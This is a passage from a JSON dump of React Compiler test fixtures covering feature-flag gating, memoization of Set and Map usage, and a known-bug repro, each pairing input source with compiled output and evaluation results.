    "content": "\n## Input\n\n```javascript\n// @gating\nimport {createRef, forwardRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nconst Foo = forwardRef(Foo_withRef);\nfunction Foo_withRef(props, ref) {\n  return <Stringify ref={ref} {...props} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('(...args) => React.createElement(Foo, args)'),\n  params: [{prop1: 1, prop2: 2, ref: createRef()}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport { createRef, forwardRef } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nconst Foo = forwardRef(Foo_withRef);\nconst isForgetEnabled_Fixtures_result = isForgetEnabled_Fixtures();\nfunction Foo_withRef_optimized(props, ref) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props || $[1] !== ref) {\n    t0 = <Stringify ref={ref} {...props} />;\n    $[0] = props;\n    $[1] = ref;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\nfunction Foo_withRef_unoptimized(props, ref) {\n  return <Stringify ref={ref} {...props} />;\n}\nfunction Foo_withRef(arg0, arg1) {\n  if (isForgetEnabled_Fixtures_result) return Foo_withRef_optimized(arg0, arg1);\n  else return Foo_withRef_unoptimized(arg0, arg1);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"(...args) => React.createElement(Foo, args)\"),\n  params: [{ prop1: 1, prop2: 2, ref: createRef() }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"0\":{\"prop1\":1,\"prop2\":2,\"ref\":{\"current\":null}},\"ref\":\"[[ cyclic ref *3 ]]\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl-ref.js",
    "content": "// @gating\nimport {createRef, forwardRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nconst Foo = forwardRef(Foo_withRef);\nfunction Foo_withRef(props, ref) {\n  return <Stringify ref={ref} {...props} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('(...args) => React.createElement(Foo, args)'),\n  params: [{prop1: 1, prop2: 2, ref: createRef()}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nimport {memo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nexport default memo(Foo);\nfunction Foo({prop1, prop2}) {\n  'use memo';\n  return <Stringify prop1={prop1} prop2={prop2} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Foo'),\n  params: [{prop1: 1, prop2: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport { memo } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nexport default memo(Foo);\nconst isForgetEnabled_Fixtures_result = isForgetEnabled_Fixtures();\nfunction Foo_optimized(t0) {\n  \"use memo\";\n  const $ = _c(3);\n  const { prop1, prop2 } = t0;\n  let t1;\n  if ($[0] !== prop1 || $[1] !== prop2) {\n    t1 = <Stringify prop1={prop1} prop2={prop2} />;\n    $[0] = prop1;\n    $[1] = prop2;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\nfunction Foo_unoptimized({ prop1, prop2 }) {\n  \"use memo\";\n  return <Stringify prop1={prop1} prop2={prop2} />;\n}\nfunction Foo(arg0) {\n  if (isForgetEnabled_Fixtures_result) return Foo_optimized(arg0);\n  else return Foo_unoptimized(arg0);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Foo\"),\n  params: [{ prop1: 1, prop2: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"prop1\":1,\"prop2\":2}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl.js",
    "content": "// @gating\nimport {memo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nexport default memo(Foo);\nfunction Foo({prop1, prop2}) {\n  'use memo';\n  return <Stringify prop1={prop1} prop2={prop2} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Foo'),\n  params: [{prop1: 1, prop2: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-with-hoisted-type-reference.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @gating\nimport {memo} from 'react';\n\ntype Props = React.ElementConfig<typeof Component>;\n\ncomponent Component(value: string) {\n  return <div>{value}</div>;\n}\n\nexport default memo<Props>(Component);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Component'),\n  params: [{value: 'foo'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\";\nimport { memo } from \"react\";\n\ntype Props = React.ElementConfig<typeof Component>;\nconst Component = isForgetEnabled_Fixtures()\n  ? function Component(t0) {\n      const $ = _c(2);\n      const { value } = t0;\n      let t1;\n      if ($[0] !== value) {\n        t1 = <div>{value}</div>;\n        $[0] = value;\n        $[1] = t1;\n      } else {\n        t1 = $[1];\n      }\n      return t1;\n    }\n  : function Component({ value }: $ReadOnly<{ value: string }>) {\n      return <div>{value}</div>;\n    };\n\nexport default memo<Props>(Component);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Component\"),\n  params: [{ value: \"foo\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>foo</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-with-hoisted-type-reference.flow.js",
    "content": "// @flow @gating\nimport {memo} from 'react';\n\ntype Props = React.ElementConfig<typeof Component>;\n\ncomponent Component(value: string) {\n  return <div>{value}</div>;\n}\n\nexport default memo<Props>(Component);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Component'),\n  params: [{value: 'foo'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/infer-function-expression-React-memo-gating.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating @compilationMode:\"infer\"\nimport React from 'react';\nexport default React.forwardRef(function notNamedLikeAComponent(props) {\n  return <div />;\n});\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating @compilationMode:\"infer\"\nimport React from \"react\";\nexport default React.forwardRef(\n  isForgetEnabled_Fixtures()\n    ? function notNamedLikeAComponent(props) {\n        const $ = _c(1);\n        let t0;\n        if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t0 = <div />;\n          $[0] = t0;\n        } else {\n          t0 = $[0];\n        }\n        return t0;\n      }\n    : function notNamedLikeAComponent(props) {\n        return <div />;\n      },\n);\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented\nlogs: ['forwardRef render functions accept exactly two parameters: props and ref. %s','Did you forget to use the ref parameter?']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/infer-function-expression-React-memo-gating.js",
    "content": "// @gating @compilationMode:\"infer\"\nimport React from 'react';\nexport default React.forwardRef(function notNamedLikeAComponent(props) {\n  return <div />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/invalid-fnexpr-reference.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nimport * as React from 'react';\n\nlet Foo;\nconst MemoFoo = React.memo(Foo);\nFoo = () => <div>hello world!</div>;\n\n/**\n * Evaluate this fixture module to assert that compiler + original have the same\n * runtime error message.\n */\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {},\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport * as React from \"react\";\n\nlet Foo;\nconst MemoFoo = React.memo(Foo);\nFoo = isForgetEnabled_Fixtures()\n  ? () => {\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <div>hello world!</div>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : () => <div>hello world!</div>;\n\n/**\n * Evaluate this fixture module to assert that compiler + original have the same\n * runtime error message.\n */\nexport const FIXTURE_ENTRYPOINT = {\n  fn: isForgetEnabled_Fixtures() ? () => {} : () => {},\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: ['memo: The first argument must be a component. Instead received: %s','undefined']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/invalid-fnexpr-reference.js",
    "content": "// @gating\nimport * as React from 'react';\n\nlet Foo;\nconst MemoFoo = React.memo(Foo);\nFoo = () => <div>hello world!</div>;\n\n/**\n * Evaluate this fixture module to assert that compiler + original have the same\n * runtime error message.\n */\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {},\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-default-gating-test.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nimport {Stringify} from 'shared-runtime';\n\nconst ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;\n\nexport default props => (\n  <Foo>\n    <Bar></Bar>\n    <ErrorView></ErrorView>\n  </Foo>\n);\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport { Stringify } from \"shared-runtime\";\n\nconst ErrorView = isForgetEnabled_Fixtures()\n  ? (error, _retry) => {\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== error) {\n        t0 = <Stringify error={error} />;\n        $[0] = error;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : (error, _retry) => <Stringify error={error}></Stringify>;\n\nexport default isForgetEnabled_Fixtures()\n  ? (props) => {\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = (\n          <Foo>\n            <Bar />\n            <ErrorView />\n          </Foo>\n        );\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : (props) => (\n      <Foo>\n        <Bar></Bar>\n        <ErrorView></ErrorView>\n      </Foo>\n    );\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-default-gating-test.js",
    "content": "// @gating\nimport {Stringify} from 'shared-runtime';\n\nconst ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;\n\nexport default props => (\n  <Foo>\n    <Bar></Bar>\n    <ErrorView></ErrorView>\n  </Foo>\n);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-gating-test.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nimport {Stringify} from 'shared-runtime';\n\nconst ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;\n\nexport const Renderer = props => (\n  <div>\n    <span></span>\n    <ErrorView></ErrorView>\n  </div>\n);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Renderer'),\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport { Stringify } from \"shared-runtime\";\n\nconst ErrorView = isForgetEnabled_Fixtures()\n  ? (error, _retry) => {\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== error) {\n        t0 = <Stringify error={error} />;\n        $[0] = error;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : (error, _retry) => <Stringify error={error}></Stringify>;\n\nexport const Renderer = isForgetEnabled_Fixtures()\n  ? (props) => {\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = (\n          <div>\n            <span />\n            <ErrorView />\n          </div>\n        );\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : (props) => (\n      <div>\n        <span></span>\n        <ErrorView></ErrorView>\n      </div>\n    );\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Renderer\"),\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><span></span><div>{\"error\":{}}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-export-gating-test.js",
    "content": "// @gating\nimport {Stringify} from 'shared-runtime';\n\nconst ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;\n\nexport const Renderer = props => (\n  <div>\n    <span></span>\n    <ErrorView></ErrorView>\n  </div>\n);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Renderer'),\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-gating-test.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nimport {Stringify} from 'shared-runtime';\n\nconst ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;\n\nconst Renderer = props => (\n  <div>\n    <span></span>\n    <ErrorView></ErrorView>\n  </div>\n);\n\nexport default Renderer;\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Renderer'),\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport { Stringify } from \"shared-runtime\";\n\nconst ErrorView = isForgetEnabled_Fixtures()\n  ? (error, _retry) => {\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== error) {\n        t0 = <Stringify error={error} />;\n        $[0] = error;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : (error, _retry) => <Stringify error={error}></Stringify>;\n\nconst Renderer = isForgetEnabled_Fixtures()\n  ? (props) => {\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = (\n          <div>\n            <span />\n            <ErrorView />\n          </div>\n        );\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : (props) => (\n      <div>\n        <span></span>\n        <ErrorView></ErrorView>\n      </div>\n    );\nexport default Renderer;\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Renderer\"),\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><span></span><div>{\"error\":{}}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/multi-arrow-expr-gating-test.js",
    "content": "// @gating\nimport {Stringify} from 'shared-runtime';\n\nconst ErrorView = (error, _retry) => <Stringify error={error}></Stringify>;\n\nconst Renderer = props => (\n  <div>\n    <span></span>\n    <ErrorView></ErrorView>\n  </div>\n);\n\nexport default Renderer;\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Renderer'),\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/reassigned-fnexpr-variable.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nimport * as React from 'react';\n\n/**\n * Test that the correct `Foo` is printed\n */\nlet Foo = () => <div>hello world 1!</div>;\nconst MemoOne = React.memo(Foo);\nFoo = () => <div>hello world 2!</div>;\nconst MemoTwo = React.memo(Foo);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {\n    'use no memo';\n    return (\n      <>\n        <MemoOne />\n        <MemoTwo />\n      </>\n    );\n  },\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport * as React from \"react\";\n\n/**\n * Test that the correct `Foo` is printed\n */\nlet Foo = isForgetEnabled_Fixtures()\n  ? () => {\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <div>hello world 1!</div>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : () => <div>hello world 1!</div>;\nconst MemoOne = React.memo(Foo);\nFoo = isForgetEnabled_Fixtures()\n  ? () => {\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <div>hello world 2!</div>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : () => <div>hello world 2!</div>;\nconst MemoTwo = React.memo(Foo);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {\n    \"use no memo\";\n    return (\n      <>\n        <MemoOne />\n        <MemoTwo />\n      </>\n    );\n  },\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world 1!</div><div>hello world 2!</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/reassigned-fnexpr-variable.js",
    "content": "// @gating\nimport * as React from 'react';\n\n/**\n * Test that the correct `Foo` is printed\n */\nlet Foo = () => <div>hello world 1!</div>;\nconst MemoOne = React.memo(Foo);\nFoo = () => <div>hello world 2!</div>;\nconst MemoTwo = React.memo(Foo);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {\n    'use no memo';\n    return (\n      <>\n        <MemoOne />\n        <MemoTwo />\n      </>\n    );\n  },\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/repro-no-gating-import-without-compiled-functions.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @gating\nimport {isForgetEnabled_Fixtures} from 'ReactForgetFeatureFlag';\n\nexport default 42;\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @gating\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\";\n\nexport default 42;\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/repro-no-gating-import-without-compiled-functions.js",
    "content": "// @expectNothingCompiled @gating\nimport {isForgetEnabled_Fixtures} from 'ReactForgetFeatureFlag';\n\nexport default 42;\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-jsx-tag-lowered-between-mutations.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const maybeMutable = new MaybeMutable();\n  // NOTE: this will produce invalid output.\n  // The HIR is roughly:\n  //                                   ⌵ mutable range of `maybeMutable`\n  // StoreLocal maybeMutable = ...     ⌝\n  // t0 = LoadGlobal View              ⎮ <-- View is lowered inside this mutable range\n  //                                         and thus gets becomes an output of this scope,\n  //                                         gets promoted to temporary\n  // t1 = LoadGlobal maybeMutate       ⎮\n  // t2 = LoadLocal maybeMutable       ⎮\n  // t3 = Call t1(t2)                  ⌟\n  // t4 = Jsx tag=t0 props=[] children=[t3] <-- `t0` is an invalid tag\n  return <View>{maybeMutate(maybeMutable)}</View>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const maybeMutable = new MaybeMutable();\n    t0 = <View>{maybeMutate(maybeMutable)}</View>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-jsx-tag-lowered-between-mutations.js",
    "content": "function Component(props) {\n  const maybeMutable = new MaybeMutable();\n  // NOTE: this will produce invalid output.\n  // The HIR is roughly:\n  //                                   ⌵ mutable range of `maybeMutable`\n  // StoreLocal maybeMutable = ...     ⌝\n  // t0 = LoadGlobal View              ⎮ <-- View is lowered inside this mutable range\n  //                                         and thus gets becomes an output of this scope,\n  //                                         gets promoted to temporary\n  // t1 = LoadGlobal maybeMutate       ⎮\n  // t2 = LoadLocal maybeMutable       ⎮\n  // t3 = Call t1(t2)                  ⌟\n  // t4 = Jsx tag=t0 props=[] children=[t3] <-- `t0` is an invalid tag\n  return <View>{maybeMutate(maybeMutable)}</View>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/call-spread-argument-set.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useIdentity} from 'shared-runtime';\n\n/**\n * Forked version of call-spread-argument-mutable-iterator that is known to not mutate\n * the spread argument since it is a Set\n */\nfunction useFoo() {\n  const s = new Set([1, 2]);\n  useIdentity(null);\n  return [Math.max(...s), s];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useIdentity } from \"shared-runtime\";\n\n/**\n * Forked version of call-spread-argument-mutable-iterator that is known to not mutate\n * the spread argument since it is a Set\n */\nfunction useFoo() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = new Set([1, 2]);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const s = t0;\n  useIdentity(null);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [Math.max(...s), s];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2,{\"kind\":\"Set\",\"value\":[1,2]}]\n[2,{\"kind\":\"Set\",\"value\":[1,2]}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/call-spread-argument-set.ts",
    "content": "import {useIdentity} from 'shared-runtime';\n\n/**\n * Forked version of call-spread-argument-mutable-iterator that is known to not mutate\n * the spread argument since it is a Set\n */\nfunction useFoo() {\n  const s = new Set([1, 2]);\n  useIdentity(null);\n  return [Math.max(...s), s];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/map-constructor.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\nfunction useHook({el1, el2}) {\n  const s = new Map();\n  s.set(el1, makeArray(el1));\n  s.set(el2, makeArray(el2));\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{el1: 1, el2: 'foo'}],\n  sequentialRenders: [\n    {el1: 1, el2: 'foo'},\n    {el1: 2, el2: 'foo'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(7);\n  const { el1, el2 } = t0;\n  let s;\n  if ($[0] !== el1 || $[1] !== el2) {\n    s = new Map();\n    let t1;\n    if ($[3] !== el1) {\n      t1 = makeArray(el1);\n      $[3] = el1;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    s.set(el1, t1);\n    let t2;\n    if ($[5] !== el2) {\n      t2 = makeArray(el2);\n      $[5] = el2;\n      $[6] = t2;\n    } else {\n      t2 = $[6];\n    }\n    s.set(el2, t2);\n    $[0] = el1;\n    $[1] = el2;\n    $[2] = s;\n  } else {\n    s = $[2];\n  }\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ el1: 1, el2: \"foo\" }],\n  sequentialRenders: [\n    { el1: 1, el2: \"foo\" },\n    { el1: 2, el2: \"foo\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2\n2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/map-constructor.ts",
    "content": "import {makeArray} from 'shared-runtime';\n\nfunction useHook({el1, el2}) {\n  const s = new Map();\n  s.set(el1, makeArray(el1));\n  s.set(el2, makeArray(el2));\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{el1: 1, el2: 'foo'}],\n  sequentialRenders: [\n    {el1: 1, el2: 'foo'},\n    {el1: 2, el2: 'foo'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-capture-mutate-bug.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Repro for bug with `mutableOnlyIfOperandsAreMutable` flag\n * Found differences in evaluator results\n  * Non-forget (expected):\n  * (kind: ok)\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * Forget:\n  * (kind: ok)\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\",\"wat1\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\",\"wat1\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity(null);\n  const derived = arr.filter(mutateAndReturn);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutateAndReturn, Stringify, useIdentity } from \"shared-runtime\";\n\n/**\n * Repro for bug with `mutableOnlyIfOperandsAreMutable` flag\n * Found differences in evaluator results\n  * Non-forget (expected):\n  * (kind: ok)\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * Forget:\n  * (kind: ok)\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\",\"wat1\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\",\"wat1\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n\n */\nfunction Component(t0) {\n  const $ = _c(7);\n  const { value } = t0;\n  const arr = [{ value: \"foo\" }, { value: \"bar\" }, { value }];\n  useIdentity(null);\n  const derived = arr.filter(mutateAndReturn);\n  let t1;\n  if ($[0] !== derived) {\n    t1 = derived.at(0);\n    $[0] = derived;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== derived) {\n    t2 = derived.at(-1);\n    $[2] = derived;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1 || $[5] !== t2) {\n    t3 = (\n      <Stringify>\n        {t1}\n        {t2}\n      </Stringify>\n    );\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 5 }],\n  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 